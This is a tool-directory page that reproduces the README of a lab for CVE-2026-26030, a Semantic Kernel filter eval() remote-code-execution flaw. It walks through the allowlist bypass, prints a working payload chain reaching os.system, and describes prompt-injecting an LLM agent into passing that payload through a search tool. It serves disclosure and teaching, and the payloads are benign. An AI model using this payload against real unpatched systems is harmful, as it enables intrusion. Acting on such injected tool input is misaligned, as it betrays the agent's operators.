Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
sk-cve-2026-26030-lab — Ethical, network-isolated Docker lab reproducing CVE-2026-26030 — Semantic Kernel in-memory vector store filter eval() RCE (patched in 1.39.4) | Kitploit
Tools/GitHubGitHub/inertfluid/sk-cve-2026-26030-lab
Vulnerability AnalysisExploitationPenetration TestingLearning & EducationPayload DevelopmentAI SecurityBinary ExploitationLabs & Practice
GitHub
inertfluid/sk-cve-2026-26030-lab

sk-cve-2026-26030-lab

Ethical, network-isolated Docker lab reproducing CVE-2026-26030 — Semantic Kernel in-memory vector store filter eval() RCE (patched in 1.39.4)

View Repository
1132 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-26030 — Semantic Kernel filter eval() RCE (lab)

A self-contained lab reproducing CVE-2026-26030: prompt-injectable remote code execution via the in-memory vector store search filter in Microsoft Semantic Kernel (Python, < 1.39.4).

Ethical lab only. Isolated in dedicated virtualenvs; payloads are harmless (touch a marker file in the headless PoC; open -a Calculator in the UI demo) and run as your own unprivileged user.

Setup

root@kitploit:~
./setup.sh        # builds two isolated venvs (1.39.3 vulnerable, 1.39.4 patched)

Needs python3.13 (wheels for SK's numpy/scipy deps). Override with PYTHON=.

Headless PoC

root@kitploit:~
./run.sh          # runs the same payload against both venvs

Vulnerable output ends with RCE CONFIRMED; patched output rejects the same payload with '__subclasses__' ... is not allowed.

Live UI demo (real LLM agent)

OpsBot, an internal engineering knowledge-base agent (Groq-hosted Llama via Semantic Kernel), exposes a search_runbooks(team) tool. An attacker prompt-injects a malicious team value; the agent calls the tool, the vulnerable filter runs, and a "ransom note" opens in TextEdit — while the agent reports runbook results, oblivious. The payload (open -e <note>) is non-blocking and harmless; the note is pre-staged at /tmp/PWNED_by_CVE-2026-26030.txt.

The tool runs the genuine vulnerable filter eval in a clean subprocess (run_filter.py). That's a macOS necessity, not a cheat: the server's own fork() is poisoned by the async LLM/httpx threads + numpy/scipy, so a GUI launch from that process silently no-ops. The subprocess is the exact CVE code path (_parse_and_validate_filter → run the lambda on a record).

Note: the clean-subprocess split is a quirk of this macOS demo harness, not of the vulnerability. On a Linux-deployed agent the in-process os.system fires directly — no subprocess needed.

root@kitploit:~
echo 'GROQ_API_KEY=gsk_...' > .env   # free key from console.groq.com/keys
./demo-ui/run.sh                     # http://127.0.0.1:8000

The attacker message is pre-loaded in the input box; press Send.

The vulnerability

An agent exposes a search tool backed by InMemoryCollection. The LLM emits a filter expression string from the conversation (lambda x: x.team == 'platform'). That string is attacker-influenceable — via the user prompt, or via injected text in retrieved/tool content — and lands in _parse_and_validate_filter, which compile()s and eval()s it (connectors/in_memory.py:383):

root@kitploit:~
code = compile(tree, filename="<filter>", mode="eval")
func = eval(code, {"__builtins__": {}}, {})  # nosec

__builtins__ is emptied, and an AST allowlist is applied first — so this is a sandbox bypass, not a missing guard. Two gaps make it bypassable:

  1. ast.Attribute access is unrestricted — no dunder blocklist, so ().__class__.__base__.__subclasses__ dunder-walking is allowed.
  2. The ast.Call name-check only inspects func when it is a Name or Attribute. When func is a Subscript (which is allowlisted), func_name stays None and the allowed-function check is skipped entirely.

So wrapping any callable as [obj.method][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/main/args) calls anything. Chained:

root@kitploit:~
object.__subclasses__()[i]  ->  BuiltinImporter.load_module('os')  ->  os.system(cmd)

The payload

root@kitploit:~
lambda x: [[[().__class__.__base__.__subclasses__][0]()[107].load_module][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/main/%27os%27).system][0]('touch /tmp/pwned_by_filter')

Every call's func is a Subscript; every traversal step is plain attribute access. The index (107) is the position of BuiltinImporter in object.__subclasses__() — it varies by Python build, so exploit.py and the demo compute it at runtime.

The fix (1.39.4)

The patch adds a dangerous-attribute blocklist on top of the allowlist, so the dunder walk is rejected before eval:

root@kitploit:~
Access to attribute '__subclasses__' is not allowed in filter expressions.
This attribute could be used to escape the filter sandbox.

Files

filepurpose
setup.shbuilds the two isolated venvs (vulnerable + patched)
run.shheadless PoC across both venvs
exploit.pyend-to-end: real collection + search filter -> RCE
find_sink.pylocates the eval/compile sink in the installed package
probe.pyminimal validator-only confirmation of the bypass
demo-ui/app.pyFastAPI + SK + Groq agent; the vulnerable search_runbooks tool
demo-ui/run_filter.pyruns the genuine filter eval in a clean subprocess (server fork() is poisoned)
demo-ui/index.htmlchat UI; opens a ransom note in TextEdit on RCE

Blog angle

The cleanest possible statement of the agent-security thesis: there is no boundary between "data" and "instructions." A filter the model writes from a user's runbook lookup becomes os.system. The sandbox existed — an allowlist and emptied __builtins__ — and still fell to an attribute-traversal + subscript-call bypass. Mitigation hierarchy worth making in the post: don't eval model output at all; if you must, restrict on a closed grammar, not a node allowlist with open attribute access; and isolate the worker (seccomp / no network / unprivileged) so code execution isn't game over.

Download Tool